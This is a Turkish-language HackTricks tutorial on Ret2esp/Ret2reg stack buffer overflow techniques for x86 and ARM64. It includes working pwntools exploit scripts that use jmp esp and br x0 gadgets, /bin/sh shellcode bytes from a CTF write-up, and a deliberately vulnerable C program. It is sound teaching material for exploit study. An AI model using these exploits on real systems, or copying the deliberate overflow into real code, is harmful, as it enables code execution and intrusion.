Ret2esp / Ret2reg

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

Ret2esp

Çünkü ESP (Yığın Göstergesi) her zaman yığının en üstüne işaret eder, bu teknik EIP'yi (Talimat Göstergesi) bir jmp esp veya call esp talimatının adresi ile değiştirmeyi içerir. Bunu yaparak, shellcode, üzerine yazılmış EIP'nin hemen arkasına yerleştirilir. ret talimatı çalıştırıldığında, ESP bir sonraki adrese işaret eder, tam olarak shellcode'un saklandığı yere.

Eğer Adres Alanı Düzeni Rastgeleleştirmesi (ASLR) Windows veya Linux'ta etkin değilse, paylaşılan kütüphanelerde bulunan jmp esp veya call esp talimatlarını kullanmak mümkündür. Ancak, ASLR aktif olduğunda, bu talimatları bulmak için savunmasız programın kendisine bakmak gerekebilir (ve PIE ile başa çıkmanız gerekebilir).

Ayrıca, shellcode'u EIP bozulmasından sonra yerleştirebilmek, yığın içinde ortada değil, yığın üzerinde, işlevin çalışması sırasında gerçekleştirilen herhangi bir push veya pop talimatının shellcode ile çakışmamasını sağlar. Bu çakışma, shellcode'un işlevin yığınının ortasına yerleştirilmesi durumunda meydana gelebilir.

Alan eksikliği

Eğer RIP'yi üzerine yazdıktan sonra yazmak için alan eksikse (belki sadece birkaç bayt), başlangıçta bir jmp shellcode'u yazın:

armasm
sub rsp, 0x30
jmp rsp

Ve shellcode'u yığın içinde erken yazın.

Örnek

Bu tekniğin bir örneğini https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp adresinde bulabilirsiniz ve son exploit şöyle:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

jmp_rsp = next(elf.search(asm('jmp rsp')))

payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')

pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()

Bu tekniğin başka bir örneğini https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html adresinde görebilirsiniz. NX etkinleştirilmeden bir buffer overflow var, $esp adresini küçültmek için bir gadget kullanılıyor ve ardından shellcode'a atlamak için jmp esp; kullanılıyor:

python
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *

# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')

# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Establish our rop gadgets

# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)

# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)

# Make the payload

payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget

# Send our payload
target.sendline(payload)

# Drop to an interactive shell
target.interactive()

Ret2reg

Benzer şekilde, bir fonksiyonun shellcode'un saklandığı adresi döndürdüğünü biliyorsak, call eax veya jmp eax talimatlarını (bilinen ret2eax tekniği) kullanarak shellcode'umuzu çalıştırmanın başka bir yolunu sunabiliriz. Eax gibi, ilginç bir adres içeren herhangi bir başka kayıt da kullanılabilir (ret2reg).

Örnek

Burada bazı örnekler bulabilirsiniz:

ARM64

Ret2sp

ARM64'te SP kaydına atlamaya izin veren talimatlar yoktur. SP'yi bir kayda taşıyan ve sonra o kayda atlayan bir gadget bulmak mümkün olabilir, ancak benim kali'mdeki libc'de böyle bir gadget bulamadım:

bash
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done

Keşfettiğim tek yöntem, sp'nin kopyalandığı kayıt değerini değiştirmekti (bu yüzden işe yaramaz hale gelecekti):

Ret2reg

Eğer bir kaydın ilginç bir adresi varsa, uygun talimatı bulup ona atlamak mümkündür. Şöyle bir şey kullanabilirsiniz:

bash
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";

ARM64'te, bir fonksiyonun dönüş değerini saklayan x0'dır, bu nedenle x0'ın, kullanıcı tarafından kontrol edilen ve çalıştırılacak bir shellcode içeren bir tamponun adresini saklaması mümkündür.

Örnek kod:

c
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack

#include <stdio.h>
#include <string.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}

char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}

int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}

Fonksiyonun ayrıştırmasını kontrol ettiğimizde, tamponun adresinin (bof'a karşı hassas ve kullanıcı tarafından kontrol edilen) x0'da saklandığını görebiliriz; bu, tampon taşmasından dönerken gerçekleşir:

Ayrıca do_stuff fonksiyonunda br x0 gadget'ını bulmak da mümkündür:

Bu gadget'ı kullanarak ona atlayacağız çünkü ikili dosya PIE OLMADAN derlenmiştir. Bir desen kullanarak, tampon taşmasının ofsetinin 80 olduğunu görebiliriz; bu nedenle exploit şöyle olacaktır:

python
from pwn import *

p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')

stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0

p.sendline(payload)
p.interactive()

warning

Eğer fgets yerine read gibi bir şey kullanılsaydı, sadece dönüş adresinin son 2 baytını değiştirerek br x0; talimatına geri dönmek mümkün olabilirdi, tam adresi bilmeye gerek kalmadan.
fgets ile bu işe yaramaz çünkü sonuna bir null (0x00) baytı ekler.

Protections

  • NX: Yığın çalıştırılabilir değilse, shellcode'u yığında yerleştirip çalıştırmak için atlama yapmamız gerektiğinden bu yardımcı olmaz.
  • ASLR & PIE: Bunlar esp veya başka bir kaydediciye atlamak için bir talimat bulmayı zorlaştırabilir.

References

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin